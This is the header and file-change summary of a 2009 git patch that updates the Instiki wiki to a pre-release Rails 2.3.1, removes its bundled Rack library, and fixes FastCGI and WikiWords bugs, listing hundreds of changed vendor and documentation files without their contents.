From 133c21b8019d3de3501e3a968d36410a8e32ade3 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Fri, 27 Feb 2009 19:23:00 -0600 Subject: [PATCH] Bugfixes and Rails Edge Update to Rails 2.3.1. (Actually, not quite. Doesn't look like 2.3.1 will be released today, but I REALLY want to push these bugfixes out.) Removed bundled Rack (Rails 2.3.1 comes bundled with Rack 1.0). Add config.action_view.cache_template_loading = true to production environment. Fix FastCGI bug (http://rubyforge.org/tracker/index.php?func=detail&aid=24191&group_id=186&atid=783). Fix WikiWords bug (http://rubyforge.org/pipermail/instiki-users/2009-February/001181.html). --- CHANGELOG | 116 + README | 23 +- config/environment.rb | 2 +- config/environments/production.rb | 1 + instiki | 1 - lib/chunks/wiki.rb | 2 +- script/server | 16 +- test/unit/chunks/wiki_test.rb | 4 + vendor/plugins/rack/AUTHORS | 8 - vendor/plugins/rack/COPYING | 18 - vendor/plugins/rack/ChangeLog | 1423 ------- vendor/plugins/rack/KNOWN-ISSUES | 18 - vendor/plugins/rack/RDOX | 324 -- vendor/plugins/rack/README | 306 -- vendor/plugins/rack/Rakefile | 188 - vendor/plugins/rack/SPEC | 129 - vendor/plugins/rack/bin/rackup | 172 - vendor/plugins/rack/contrib/rack_logo.svg | 111 - vendor/plugins/rack/doc/classes/L2.html | 149 - vendor/plugins/rack/doc/classes/Rack.html | 438 -- .../rack/doc/classes/Rack/Adapter.html | 130 - .../doc/classes/Rack/Adapter/Camping.html | 181 - .../plugins/rack/doc/classes/Rack/Auth.html | 121 - .../rack/doc/classes/Rack/Auth/Basic.html | 179 - .../doc/classes/Rack/Auth/Basic/Request.html | 194 - .../rack/doc/classes/Rack/Auth/Digest.html | 105 - .../rack/doc/classes/Rack/Auth/OpenID.html | 807 ---- .../classes/Rack/Auth/OpenID/NoSession.html | 111 - .../rack/doc/classes/Rack/Builder.html | 340 -- .../rack/doc/classes/Rack/Cascade.html | 265 -- .../rack/doc/classes/Rack/CommonLogger.html | 308 -- .../rack/doc/classes/Rack/ConditionalGet.html | 199 - .../rack/doc/classes/Rack/ContentLength.html | 191 - .../rack/doc/classes/Rack/Deflater.html | 289 -- .../rack/doc/classes/Rack/Directory.html | 493 --- .../plugins/rack/doc/classes/Rack/File.html | 378 -- .../rack/doc/classes/Rack/ForwardRequest.html | 184 - .../rack/doc/classes/Rack/Forwarder.html | 196 - .../rack/doc/classes/Rack/Handler.html | 242 -- .../rack/doc/classes/Rack/Handler/CGI.html | 254 -- .../classes/Rack/Handler/EventedMongrel.html | 111 - .../doc/classes/Rack/Handler/FastCGI.html | 264 -- .../rack/doc/classes/Rack/Handler/LSWS.html | 250 -- .../doc/classes/Rack/Handler/Mongrel.html | 258 -- .../rack/doc/classes/Rack/Handler/SCGI.html | 244 -- .../Rack/Handler/SwiftipliedMongrel.html | 111 - .../rack/doc/classes/Rack/Handler/Thin.html | 150 - .../doc/classes/Rack/Handler/WEBrick.html | 237 -- .../plugins/rack/doc/classes/Rack/Head.html | 178 - .../plugins/rack/doc/classes/Rack/Lint.html | 154 - .../rack/doc/classes/Rack/Lobster.html | 136 - .../rack/doc/classes/Rack/MethodOverride.html | 206 - .../plugins/rack/doc/classes/Rack/Mime.html | 200 - .../rack/doc/classes/Rack/MockRequest.html | 375 -- .../classes/Rack/MockRequest/FatalWarner.html | 217 - .../Rack/MockRequest/FatalWarning.html | 111 - .../rack/doc/classes/Rack/MockResponse.html | 298 -- .../rack/doc/classes/Rack/Recursive.html | 218 - .../rack/doc/classes/Rack/Reloader.html | 249 -- .../rack/doc/classes/Rack/Request.html | 1126 ------ .../rack/doc/classes/Rack/Response.html | 518 --- .../doc/classes/Rack/Response/Helpers.html | 479 --- .../rack/doc/classes/Rack/Session.html | 125 - .../rack/doc/classes/Rack/Session/Cookie.html | 200 - .../doc/classes/Rack/Session/Memcache.html | 204 - .../rack/doc/classes/Rack/Session/Pool.html | 201 - .../rack/doc/classes/Rack/ShowExceptions.html | 260 -- .../rack/doc/classes/Rack/ShowStatus.html | 199 - .../plugins/rack/doc/classes/Rack/Static.html | 205 - .../plugins/rack/doc/classes/Rack/URLMap.html | 214 - .../plugins/rack/doc/classes/Rack/Utils.html | 377 -- .../rack/doc/classes/Rack/Utils/Context.html | 299 -- .../doc/classes/Rack/Utils/HeaderHash.html | 373 -- .../doc/classes/Rack/Utils/Multipart.html | 246 -- vendor/plugins/rack/doc/created.rid | 1 - .../plugins/rack/doc/files/KNOWN-ISSUES.html | 127 - vendor/plugins/rack/doc/files/RDOX.html | 961 ----- vendor/plugins/rack/doc/files/README.html | 720 ---- vendor/plugins/rack/doc/files/SPEC.html | 318 -- .../files/lib/rack/adapter/camping_rb.html | 101 - .../doc/files/lib/rack/auth/basic_rb.html | 109 - .../doc/files/lib/rack/auth/openid_rb.html | 119 - .../rack/doc/files/lib/rack/builder_rb.html | 101 - .../rack/doc/files/lib/rack/cascade_rb.html | 101 - .../doc/files/lib/rack/commonlogger_rb.html | 101 - .../doc/files/lib/rack/conditionalget_rb.html | 101 - .../doc/files/lib/rack/content_length_rb.html | 101 - .../rack/doc/files/lib/rack/deflater_rb.html | 110 - .../rack/doc/files/lib/rack/directory_rb.html | 109 - .../rack/doc/files/lib/rack/file_rb.html | 109 - .../rack/doc/files/lib/rack/forward_rb.html | 111 - .../doc/files/lib/rack/handler/cgi_rb.html | 101 - .../lib/rack/handler/evented_mongrel_rb.html | 108 - .../files/lib/rack/handler/fastcgi_rb.html | 109 - .../doc/files/lib/rack/handler/lsws_rb.html | 108 - .../files/lib/rack/handler/mongrel_rb.html | 109 - .../doc/files/lib/rack/handler/scgi_rb.html | 109 - .../rack/handler/swiftiplied_mongrel_rb.html | 108 - .../doc/files/lib/rack/handler/thin_rb.html | 108 - .../files/lib/rack/handler/webrick_rb.html | 109 - .../rack/doc/files/lib/rack/handler_rb.html | 101 - .../rack/doc/files/lib/rack/head_rb.html | 101 - .../rack/doc/files/lib/rack/lint_rb.html | 101 - .../rack/doc/files/lib/rack/lobster_rb.html | 110 - .../doc/files/lib/rack/methodoverride_rb.html | 101 - .../rack/doc/files/lib/rack/mime_rb.html | 101 - .../rack/doc/files/lib/rack/mock_rb.html | 112 - .../rack/doc/files/lib/rack/recursive_rb.html | 108 - .../rack/doc/files/lib/rack/reloader_rb.html | 108 - .../rack/doc/files/lib/rack/request_rb.html | 108 - .../rack/doc/files/lib/rack/response_rb.html | 109 - .../doc/files/lib/rack/session/cookie_rb.html | 108 - .../files/lib/rack/session/memcache_rb.html | 115 - .../doc/files/lib/rack/session/pool_rb.html | 120 - .../doc/files/lib/rack/showexceptions_rb.html | 110 - .../doc/files/lib/rack/showstatus_rb.html | 110 - .../rack/doc/files/lib/rack/static_rb.html | 101 - .../rack/doc/files/lib/rack/urlmap_rb.html | 101 - .../rack/doc/files/lib/rack/utils_rb.html | 109 - .../plugins/rack/doc/files/lib/rack_rb.html | 113 - vendor/plugins/rack/doc/fr_class_index.html | 82 - vendor/plugins/rack/doc/fr_file_index.html | 71 - vendor/plugins/rack/doc/fr_method_index.html | 236 -- vendor/plugins/rack/doc/index.html | 24 - vendor/plugins/rack/doc/rdoc-style.css | 208 - vendor/plugins/rack/example/lobster.ru | 4 - .../plugins/rack/example/protectedlobster.rb | 14 - .../plugins/rack/example/protectedlobster.ru | 8 - vendor/plugins/rack/lib/rack/auth/openid.rb | 438 -- vendor/plugins/rack/lib/rack/deflater.rb | 87 - .../rack/lib/rack/session/abstract/id.rb | 153 - .../plugins/rack/lib/rack/session/memcache.rb | 97 - vendor/plugins/rack/lib/rack/session/pool.rb | 73 - vendor/plugins/rack/test/cgi/lighttpd.conf | 20 - vendor/plugins/rack/test/cgi/test | 9 - vendor/plugins/rack/test/cgi/test.fcgi | 8 - vendor/plugins/rack/test/cgi/test.ru | 7 - .../plugins/rack/test/spec_rack_auth_basic.rb | 69 - .../rack/test/spec_rack_auth_digest.rb | 169 - .../rack/test/spec_rack_auth_openid.rb | 137 - vendor/plugins/rack/test/spec_rack_builder.rb | 84 - vendor/plugins/rack/test/spec_rack_camping.rb | 51 - vendor/plugins/rack/test/spec_rack_cascade.rb | 50 - vendor/plugins/rack/test/spec_rack_cgi.rb | 89 - .../rack/test/spec_rack_commonlogger.rb | 32 - .../rack/test/spec_rack_conditionalget.rb | 41 - .../rack/test/spec_rack_content_length.rb | 43 - .../plugins/rack/test/spec_rack_deflater.rb | 105 - .../plugins/rack/test/spec_rack_directory.rb | 61 - vendor/plugins/rack/test/spec_rack_fastcgi.rb | 89 - vendor/plugins/rack/test/spec_rack_file.rb | 64 - vendor/plugins/rack/test/spec_rack_handler.rb | 24 - vendor/plugins/rack/test/spec_rack_head.rb | 30 - vendor/plugins/rack/test/spec_rack_lint.rb | 380 -- vendor/plugins/rack/test/spec_rack_lobster.rb | 45 - .../rack/test/spec_rack_methodoverride.rb | 60 - vendor/plugins/rack/test/spec_rack_mock.rb | 152 - vendor/plugins/rack/test/spec_rack_mongrel.rb | 189 - .../plugins/rack/test/spec_rack_recursive.rb | 77 - vendor/plugins/rack/test/spec_rack_request.rb | 446 --- .../plugins/rack/test/spec_rack_response.rb | 174 - .../rack/test/spec_rack_session_cookie.rb | 82 - .../rack/test/spec_rack_session_memcache.rb | 132 - .../rack/test/spec_rack_session_pool.rb | 84 - .../rack/test/spec_rack_showexceptions.rb | 21 - .../plugins/rack/test/spec_rack_showstatus.rb | 72 - vendor/plugins/rack/test/spec_rack_static.rb | 37 - vendor/plugins/rack/test/spec_rack_thin.rb | 90 - vendor/plugins/rack/test/spec_rack_urlmap.rb | 175 - vendor/plugins/rack/test/spec_rack_utils.rb | 176 - vendor/plugins/rack/test/spec_rack_webrick.rb | 123 - vendor/plugins/rack/test/testrequest.rb | 57 - vendor/rails/actionmailer/CHANGELOG | 5 + vendor/rails/actionmailer/Rakefile | 2 +- .../rails/actionmailer/lib/action_mailer.rb | 3 +- .../actionmailer/lib/action_mailer/base.rb | 6 +- .../actionmailer/lib/action_mailer/version.rb | 2 +- .../rails/actionmailer/test/abstract_unit.rb | 13 +- .../actionmailer/test/mail_service_test.rb | 5 +- vendor/rails/actionpack/CHANGELOG | 8 +- vendor/rails/actionpack/Rakefile | 2 +- .../rails/actionpack/lib/action_controller.rb | 6 +- .../actionpack/lib/action_controller/base.rb | 39 +- .../lib/action_controller/caching.rb | 1 + .../lib/action_controller/cgi_process.rb | 5 + .../lib/action_controller/cookies.rb | 2 +- .../lib/action_controller/dispatcher.rb | 52 +- .../action_controller/http_authentication.rb | 2 +- .../lib/action_controller/integration.rb | 2 +- .../lib/action_controller/layout.rb | 65 +- .../lib/action_controller/middleware_stack.rb | 16 +- .../lib/action_controller/middlewares.rb | 13 +- .../lib/action_controller/rack_ext.rb | 3 - .../lib/action_controller/rack_ext/lock.rb | 21 - .../action_controller/rack_ext/multipart.rb | 22 - .../action_controller/rack_ext/parse_query.rb | 17 - .../lib/action_controller/reloader.rb | 14 + .../lib/action_controller/request.rb | 33 +- .../lib/action_controller/rescue.rb | 2 +- .../lib/action_controller/response.rb | 34 +- .../lib/action_controller/routing/segments.rb | 41 +- .../session/abstract_store.rb | 61 +- .../action_controller/session/cookie_store.rb | 13 +- .../lib/action_controller/streaming.rb | 16 +- .../lib/action_controller/test_case.rb | 9 +- .../lib/action_controller/test_process.rb | 8 +- .../url_encoded_pair_parser.rb | 155 - .../vendor/rack-1.0}/rack.rb | 5 +- .../vendor/rack-1.0}/rack/adapter/camping.rb | 0 .../rack-1.0}/rack/auth/abstract/handler.rb | 13 +- .../rack-1.0}/rack/auth/abstract/request.rb | 0 .../vendor/rack-1.0}/rack/auth/basic.rb | 0 .../vendor/rack-1.0}/rack/auth/digest/md5.rb | 0 .../rack-1.0}/rack/auth/digest/nonce.rb | 0 .../rack-1.0}/rack/auth/digest/params.rb | 0 .../rack-1.0}/rack/auth/digest/request.rb | 2 +- .../vendor/rack-1.0/rack/auth/openid.rb | 480 +++ .../vendor/rack-1.0}/rack/builder.rb | 0 .../vendor/rack-1.0}/rack/cascade.rb | 0 .../vendor/rack-1.0}/rack/commonlogger.rb | 0 .../vendor/rack-1.0}/rack/conditionalget.rb | 2 + .../vendor/rack-1.0}/rack/content_length.rb | 2 + .../vendor/rack-1.0/rack/deflater.rb | 85 + .../vendor/rack-1.0}/rack/directory.rb | 1 + .../vendor/rack-1.0}/rack/file.rb | 3 + .../vendor/rack-1.0}/rack/handler.rb | 0 .../vendor/rack-1.0}/rack/handler/cgi.rb | 6 +- .../rack-1.0}/rack/handler/evented_mongrel.rb | 0 .../vendor/rack-1.0}/rack/handler/fastcgi.rb | 2 +- .../vendor/rack-1.0}/rack/handler/lsws.rb | 6 +- .../vendor/rack-1.0}/rack/handler/mongrel.rb | 4 +- .../vendor/rack-1.0}/rack/handler/scgi.rb | 4 +- .../rack/handler/swiftiplied_mongrel.rb | 0 .../vendor/rack-1.0}/rack/handler/thin.rb | 0 .../vendor/rack-1.0}/rack/handler/webrick.rb | 7 +- .../vendor/rack-1.0}/rack/head.rb | 0 .../vendor/rack-1.0}/rack/lint.rb | 31 +- .../vendor/rack-1.0}/rack/lobster.rb | 0 .../vendor/rack-1.0/rack/lock.rb | 16 + .../vendor/rack-1.0}/rack/methodoverride.rb | 0 .../vendor/rack-1.0}/rack/mime.rb | 8 +- .../vendor/rack-1.0}/rack/mock.rb | 6 +- .../vendor/rack-1.0}/rack/recursive.rb | 0 .../vendor/rack-1.0}/rack/reloader.rb | 2 +- .../vendor/rack-1.0}/rack/request.rb | 31 +- .../vendor/rack-1.0}/rack/response.rb | 10 +- .../rack-1.0/rack/session/abstract/id.rb | 142 + .../vendor/rack-1.0}/rack/session/cookie.rb | 2 + .../vendor/rack-1.0/rack/session/memcache.rb | 109 + .../vendor/rack-1.0/rack/session/pool.rb | 100 + .../vendor/rack-1.0}/rack/showexceptions.rb | 3 +- .../vendor/rack-1.0}/rack/showstatus.rb | 0 .../vendor/rack-1.0}/rack/static.rb | 0 .../vendor/rack-1.0}/rack/urlmap.rb | 9 +- .../vendor/rack-1.0}/rack/utils.rb | 148 +- .../lib/action_controller/verification.rb | 2 +- .../actionpack/lib/action_pack/version.rb | 2 +- vendor/rails/actionpack/lib/action_view.rb | 1 + .../rails/actionpack/lib/action_view/base.rb | 15 +- .../action_view/helpers/asset_tag_helper.rb | 3 +- .../action_view/helpers/atom_feed_helper.rb | 2 +- .../lib/action_view/helpers/date_helper.rb | 2 +- .../lib/action_view/helpers/form_helper.rb | 169 +- .../helpers/form_options_helper.rb | 107 +- .../lib/action_view/helpers/text_helper.rb | 2 +- .../action_view/helpers/translation_helper.rb | 20 +- .../lib/action_view/helpers/url_helper.rb | 27 +- .../actionpack/lib/action_view/partials.rb | 21 +- .../rails/actionpack/lib/action_view/paths.rb | 22 +- .../lib/action_view/reloadable_template.rb | 117 + .../actionpack/lib/action_view/renderable.rb | 5 +- .../actionpack/lib/action_view/template.rb | 136 +- vendor/rails/actionpack/test/abstract_unit.rb | 11 +- .../actionpack/test/active_record_unit.rb | 3 +- ...partial_with_record_identification_test.rb | 4 +- .../test/controller/caching_test.rb | 24 +- .../actionpack/test/controller/cookie_test.rb | 2 +- .../test/controller/dispatcher_test.rb | 17 +- .../http_digest_authentication_test.rb | 11 +- .../test/controller/integration_test.rb | 6 +- .../actionpack/test/controller/layout_test.rb | 14 + .../test/controller/middleware_stack_test.rb | 14 + .../controller/polymorphic_routes_test.rb | 320 +- .../actionpack/test/controller/rack_test.rb | 20 +- .../actionpack/test/controller/render_test.rb | 14 +- .../actionpack/test/controller/rescue_test.rb | 10 - .../test/controller/routing_test.rb | 3566 +++++++++-------- .../controller/session/cookie_store_test.rb | 34 +- .../session/mem_cache_store_test.rb | 19 +- .../controller/session/test_session_test.rb | 2 +- .../test/controller/view_paths_test.rb | 2 +- .../layout_tests/alt/layouts/alt.rhtml | 0 .../test/fixtures/layouts/xhr.html.erb | 2 + .../fixtures/test/hello_world.pt-BR.html.erb | 1 + ...html_template_from_xhr_request.da.html.erb | 1 + ...implicit_js_template_without_layout.js.erb | 1 + .../test/fixtures/test/utf8.html.erb | 2 + .../active_record_helper_i18n_test.rb | 64 +- .../test/template/asset_tag_helper_test.rb | 26 +- .../test/template/compiled_templates_test.rb | 220 +- .../test/template/date_helper_i18n_test.rb | 186 +- .../test/template/date_helper_test.rb | 82 +- .../test/template/form_helper_test.rb | 160 +- .../test/template/form_options_helper_test.rb | 1387 +++---- .../test/template/number_helper_i18n_test.rb | 108 +- .../actionpack/test/template/render_test.rb | 91 +- .../actionpack/test/template/test_test.rb | 10 +- .../test/template/translation_helper_test.rb | 44 +- .../test/template/url_helper_test.rb | 35 +- vendor/rails/activerecord/CHANGELOG | 7 + vendor/rails/activerecord/Rakefile | 6 +- .../rails/activerecord/lib/active_record.rb | 1 + .../lib/active_record/associations.rb | 203 +- .../has_and_belongs_to_many_association.rb | 4 +- .../associations/has_many_association.rb | 4 +- .../has_many_through_association.rb | 4 +- .../lib/active_record/attribute_methods.rb | 1 + .../lib/active_record/autosave_association.rb | 232 +- .../activerecord/lib/active_record/base.rb | 27 +- .../activerecord/lib/active_record/batches.rb | 70 + .../lib/active_record/callbacks.rb | 44 +- .../abstract/connection_pool.rb | 16 + .../abstract/schema_definitions.rb | 1 + .../lib/active_record/fixtures.rb | 115 +- .../lib/active_record/migration.rb | 6 +- .../lib/active_record/named_scope.rb | 18 +- .../lib/active_record/nested_attributes.rb | 242 +- .../lib/active_record/session_store.rb | 2 +- .../lib/active_record/validations.rb | 2 +- .../activerecord/lib/active_record/version.rb | 2 +- .../belongs_to_associations_test.rb | 129 - ...s_and_belongs_to_many_associations_test.rb | 10 +- .../has_many_associations_test.rb | 139 +- .../has_many_through_associations_test.rb | 10 +- .../associations/has_one_associations_test.rb | 87 - .../cases/associations/join_model_test.rb | 12 +- .../test/cases/attribute_methods_test.rb | 12 + .../test/cases/autosave_association_test.rb | 498 ++- .../activerecord/test/cases/batches_test.rb | 49 + .../test/cases/calculations_test.rb | 30 +- .../test/cases/connection_pool_test.rb | 25 + .../test/cases/datatype_test_postgresql.rb | 1 + .../activerecord/test/cases/finder_test.rb | 39 +- .../activerecord/test/cases/fixtures_test.rb | 30 +- .../rails/activerecord/test/cases/helper.rb | 13 +- .../test/cases/method_scoping_test.rb | 2 +- .../activerecord/test/cases/migration_test.rb | 428 +- .../test/cases/named_scope_test.rb | 9 + .../test/cases/nested_attributes_test.rb | 324 +- .../test/cases/query_cache_test.rb | 4 - .../test/cases/transactions_test.rb | 32 +- .../test/cases/validations_i18n_test.rb | 578 ++- .../rails/activerecord/test/models/pirate.rb | 2 +- vendor/rails/activerecord/test/models/post.rb | 6 + vendor/rails/activerecord/test/models/ship.rb | 4 +- vendor/rails/activeresource/CHANGELOG | 5 + vendor/rails/activeresource/Rakefile | 4 +- .../lib/active_resource/base.rb | 12 +- .../lib/active_resource/http_mock.rb | 66 +- .../lib/active_resource/validations.rb | 2 +- .../lib/active_resource/version.rb | 2 +- .../activeresource/test/abstract_unit.rb | 12 +- .../activeresource/test/connection_test.rb | 26 +- .../rails/activeresource/test/setter_trap.rb | 5 +- vendor/rails/activesupport/CHANGELOG | 15 + .../lib/active_support/core_ext/array.rb | 2 + .../core_ext/array/conversions.rb | 23 +- .../active_support/core_ext/array/wrapper.rb | 24 + .../core_ext/string/inflections.rb | 2 +- .../core_ext/time/conversions.rb | 2 +- .../lib/active_support/core_ext/try.rb | 1 + .../lib/active_support/core_ext/uri.rb | 16 + .../lib/active_support/duration.rb | 2 +- .../lib/active_support/inflections.rb | 1 + .../lib/active_support/inflector.rb | 2 +- .../lib/active_support/json/decoding.rb | 5 +- .../lib/active_support/json/encoders/hash.rb | 19 +- .../lib/active_support/multibyte/chars.rb | 2 + .../lib/active_support/testing/assertions.rb | 18 +- .../active_support/testing/core_ext/test.rb | 6 - .../testing/core_ext/test/unit/assertions.rb | 72 - .../testing/setup_and_teardown.rb | 2 +- .../lib/active_support/time_with_zone.rb | 5 +- .../lib/active_support/vendor.rb | 8 +- .../vendor/i18n-0.1.1/.gitignore | 3 - .../{i18n-0.1.1 => i18n-0.1.3}/MIT-LICENSE | 0 .../{i18n-0.1.1 => i18n-0.1.3}/README.textile | 0 .../{i18n-0.1.1 => i18n-0.1.3}/Rakefile | 0 .../{i18n-0.1.1 => i18n-0.1.3}/i18n.gemspec | 4 +- .../{i18n-0.1.1 => i18n-0.1.3}/lib/i18n.rb | 0 .../lib/i18n/backend/simple.rb | 10 +- .../lib/i18n/exceptions.rb | 0 .../{i18n-0.1.1 => i18n-0.1.3}/test/all.rb | 0 .../test/i18n_exceptions_test.rb | 0 .../test/i18n_test.rb | 0 .../test/locale/en.rb | 0 .../test/locale/en.yml | 0 .../test/simple_backend_test.rb | 46 +- .../memcache.rb | 325 +- .../lib/active_support/version.rb | 2 +- .../rails/activesupport/test/abstract_unit.rb | 3 +- .../test/core_ext/array_ext_test.rb | 52 + .../test/core_ext/date_ext_test.rb | 12 +- .../test/core_ext/duration_test.rb | 24 +- .../test/core_ext/time_ext_test.rb | 4 + .../test/core_ext/time_with_zone_test.rb | 416 +- .../test/core_ext/uri_ext_test.rb | 12 + .../test/inflector_test_cases.rb | 3 +- .../activesupport/test/json/decoding_test.rb | 3 + vendor/rails/activesupport/test/test_test.rb | 7 +- .../activesupport/test/time_zone_test.rb | 92 +- vendor/rails/ci/ci_build.rb | 4 +- vendor/rails/ci/geminstaller.yml | 2 +- vendor/rails/railties/CHANGELOG | 7 + vendor/rails/railties/Rakefile | 82 +- .../rails/railties/doc/guides/asciidoc.conf | 26 - .../doc/guides/html/2_2_release_notes.html | 1011 ----- .../doc/guides/html/2_3_release_notes.html | 1033 ----- .../doc/guides/html/action_mailer_basics.html | 739 ---- .../guides/html/actioncontroller_basics.html | 1080 ----- .../doc/guides/html/active_record_basics.html | 342 -- .../guides/html/active_record_querying.html | 932 ----- .../activerecord_validations_callbacks.html | 1231 ------ .../doc/guides/html/association_basics.html | 2315 ----------- .../railties/doc/guides/html/authors.html | 87 - .../doc/guides/html/caching_with_rails.html | 480 --- .../doc/guides/html/command_line.html | 476 --- .../railties/doc/guides/html/configuring.html | 352 -- .../doc/guides/html/creating_plugins.html | 1678 -------- .../html/debugging_rails_applications.html | 992 ----- .../doc/guides/html/form_helpers.html | 983 ----- .../html/getting_started_with_rails.html | 1843 --------- .../rails/railties/doc/guides/html/i18n.html | 1274 ------ .../rails/railties/doc/guides/html/index.html | 222 - .../guides/html/layouts_and_rendering.html | 1278 ------ .../railties/doc/guides/html/migrations.html | 731 ---- .../doc/guides/html/performance_testing.html | 728 ---- .../doc/guides/html/rails_on_rack.html | 450 --- .../doc/guides/html/routing_outside_in.html | 1591 -------- .../railties/doc/guides/html/security.html | 1153 ------ .../html/testing_rails_applications.html | 1551 ------- .../guides/source/action_mailer_basics.txt | 483 --- .../actioncontroller_basics/changelog.txt | 5 - .../actioncontroller_basics/cookies.txt | 34 - .../source/actioncontroller_basics/csrf.txt | 32 - .../actioncontroller_basics/filters.txt | 119 - .../actioncontroller_basics/http_auth.txt | 57 - .../source/actioncontroller_basics/index.txt | 40 - .../actioncontroller_basics/introduction.txt | 9 - .../actioncontroller_basics/methods.txt | 39 - .../parameter_filtering.txt | 14 - .../source/actioncontroller_basics/params.txt | 93 - .../request_response_objects.txt | 43 - .../source/actioncontroller_basics/rescue.txt | 67 - .../actioncontroller_basics/session.txt | 156 - .../actioncontroller_basics/streaming.txt | 91 - .../actioncontroller_basics/verification.txt | 40 - .../guides/source/active_record_querying.txt | 774 ---- .../railties/doc/guides/source/authors.txt | 57 - .../doc/guides/source/command_line.txt | 340 -- .../doc/guides/source/configuring.txt | 239 -- .../creating_plugins/acts_as_yaffle.txt | 191 - .../source/creating_plugins/appendix.txt | 104 - .../source/creating_plugins/controllers.txt | 63 - .../source/creating_plugins/core_ext.txt | 98 - .../creating_plugins/lib/main.rb | 4 - .../guides/source/creating_plugins/gem.txt | 1 - .../guides/source/creating_plugins/gems.txt | 50 - .../creating_plugins/generator_commands.txt | 144 - .../creating_plugins/generator_method.txt | 89 - .../source/creating_plugins/generators.txt | 98 - .../source/creating_plugins/helpers.txt | 49 - .../guides/source/creating_plugins/index.txt | 60 - .../source/creating_plugins/migrations.txt | 194 - .../guides/source/creating_plugins/models.txt | 74 - .../guides/source/creating_plugins/rdoc.txt | 18 - .../guides/source/creating_plugins/routes.txt | 69 - .../guides/source/creating_plugins/setup.txt | 84 - .../guides/source/creating_plugins/tasks.txt | 27 - .../source/creating_plugins/test_setup.txt | 227 -- .../guides/source/creating_plugins/tests.txt | 165 - .../doc/guides/source/form_helpers.txt | 769 ---- .../railties/doc/guides/source/index.txt | 145 - .../migrations/anatomy_of_a_migration.txt | 85 - .../guides/source/migrations/changelog.txt | 5 - .../migrations/creating_a_migration.txt | 109 - .../guides/source/migrations/foreign_keys.txt | 8 - .../doc/guides/source/migrations/index.txt | 22 - .../source/migrations/rakeing_around.txt | 113 - .../doc/guides/source/migrations/scheming.txt | 47 - .../migrations/using_models_in_migrations.txt | 46 - .../source/migrations/writing_a_migration.txt | 159 - .../doc/guides/source/rails_on_rack.txt | 256 -- .../doc/guides/source/stylesheets/base.css | 362 -- .../doc/guides/source/stylesheets/forms.css | 35 - .../doc/guides/source/stylesheets/more.css | 253 -- .../guides/source/templates/guides.html.erb | 94 - .../rails/railties/environments/production.rb | 1 + vendor/rails/railties/environments/test.rb | 1 + .../files/javascripts/code_highlighter.js | 188 + .../guides/files/javascripts/guides.js | 8 + .../guides/files/javascripts/highlighters.js | 90 + .../guides/files/stylesheets/main.css | 577 +++ .../guides/files/stylesheets/print.css | 52 + .../guides/files/stylesheets/reset.css | 43 + .../guides/files/stylesheets/style.css | 13 + .../guides/files/stylesheets/syntax.css | 31 + .../source => guides}/images/belongs_to.png | Bin .../railties/guides/images/book_icon.gif | Bin 0 -> 337 bytes .../source => guides}/images/bullet.gif | Bin .../railties/guides/images/chapters_icon.gif | Bin 0 -> 628 bytes .../railties/guides/images/check_bullet.gif | Bin 0 -> 384 bytes .../guides/images/credits_pic_blank.gif | Bin 0 -> 613 bytes .../guides/source => guides}/images/csrf.png | Bin .../images/customized_error_messages.png | Bin .../images/error_messages.png | Bin .../railties/guides/images/feature_tile.gif | Bin 0 -> 43 bytes .../railties/guides/images/footer_tile.gif | Bin 0 -> 44 bytes .../railties/guides/images/grey_bullet.gif | Bin 0 -> 45 bytes .../guides/source => guides}/images/habtm.png | Bin .../source => guides}/images/has_many.png | Bin .../images/has_many_through.png | Bin .../source => guides}/images/has_one.png | Bin .../images/has_one_through.png | Bin .../images/header_backdrop.png | Bin .../railties/guides/images/header_tile.gif | Bin 0 -> 44 bytes .../images/i18n/demo_localized_pirate.png | Bin .../images/i18n/demo_translated_en.png | Bin .../images/i18n/demo_translated_pirate.png | Bin .../images/i18n/demo_translation_missing.png | Bin .../images/i18n/demo_untranslated.png | Bin .../source => guides}/images/icons/README | 0 .../images/icons/callouts/1.png | Bin .../images/icons/callouts/10.png | Bin .../images/icons/callouts/11.png | Bin .../images/icons/callouts/12.png | Bin .../images/icons/callouts/13.png | Bin .../images/icons/callouts/14.png | Bin .../images/icons/callouts/15.png | Bin .../images/icons/callouts/2.png | Bin .../images/icons/callouts/3.png | Bin .../images/icons/callouts/4.png | Bin .../images/icons/callouts/5.png | Bin .../images/icons/callouts/6.png | Bin .../images/icons/callouts/7.png | Bin .../images/icons/callouts/8.png | Bin .../images/icons/callouts/9.png | Bin .../images/icons/caution.png | Bin .../images/icons/example.png | Bin .../source => guides}/images/icons/home.png | Bin .../images/icons/important.png | Bin .../source => guides}/images/icons/next.png | Bin .../source => guides}/images/icons/note.png | Bin .../source => guides}/images/icons/prev.png | Bin .../source => guides}/images/icons/tip.png | Bin .../source => guides}/images/icons/up.png | Bin .../images/icons/warning.png | Bin .../railties/guides/images/nav_arrow.gif | Bin 0 -> 427 bytes .../source => guides}/images/polymorphic.png | Bin .../source => guides}/images/posts_index.png | Bin .../images/rails_logo_remix.gif | Bin .../images/rails_welcome.png | Bin .../guides/images/ruby_guides_logo.gif | Bin 0 -> 5325 bytes .../images/ruby_on_rails_by_mike_rundle2.gif | Bin .../images/session_fixation.png | Bin .../rails/railties/guides/images/tab_grey.gif | Bin 0 -> 2494 bytes .../rails/railties/guides/images/tab_info.gif | Bin 0 -> 2347 bytes .../rails/railties/guides/images/tab_note.gif | Bin 0 -> 2387 bytes .../rails/railties/guides/images/tab_red.gif | Bin 0 -> 2336 bytes .../railties/guides/images/tab_yellow.gif | Bin 0 -> 2344 bytes .../railties/guides/images/tab_yellow.png | Bin 0 -> 1611 bytes .../images/validation_error_messages.png | Bin vendor/rails/railties/guides/rails_guides.rb | 31 + .../railties/guides/rails_guides/generator.rb | 114 + .../railties/guides/rails_guides/helpers.rb | 34 + .../railties/guides/rails_guides/indexer.rb | 55 + .../guides/rails_guides/textile_extensions.rb | 41 + .../source/2_2_release_notes.textile} | 283 +- .../source/2_3_release_notes.textile} | 442 +- .../source/action_controller_overview.textile | 776 ++++ .../source/action_mailer_basics.textile | 388 ++ .../source/active_record_basics.textile} | 102 +- .../source/active_record_querying.textile | 901 +++++ ...ctiverecord_validations_callbacks.textile} | 720 ++-- .../source/association_basics.textile} | 1192 +++--- .../source/caching_with_rails.textile} | 331 +- .../guides/source/command_line.textile | 586 +++ .../guides/source/configuring.textile | 234 ++ .../railties/guides/source/contribute.textile | 77 + .../guides/source/credits.erb.textile | 39 + .../debugging_rails_applications.textile} | 466 +-- .../guides/source/form_helpers.textile | 766 ++++ .../source/getting_started.textile} | 718 ++-- .../i18n.txt => guides/source/i18n.textile} | 522 ++- 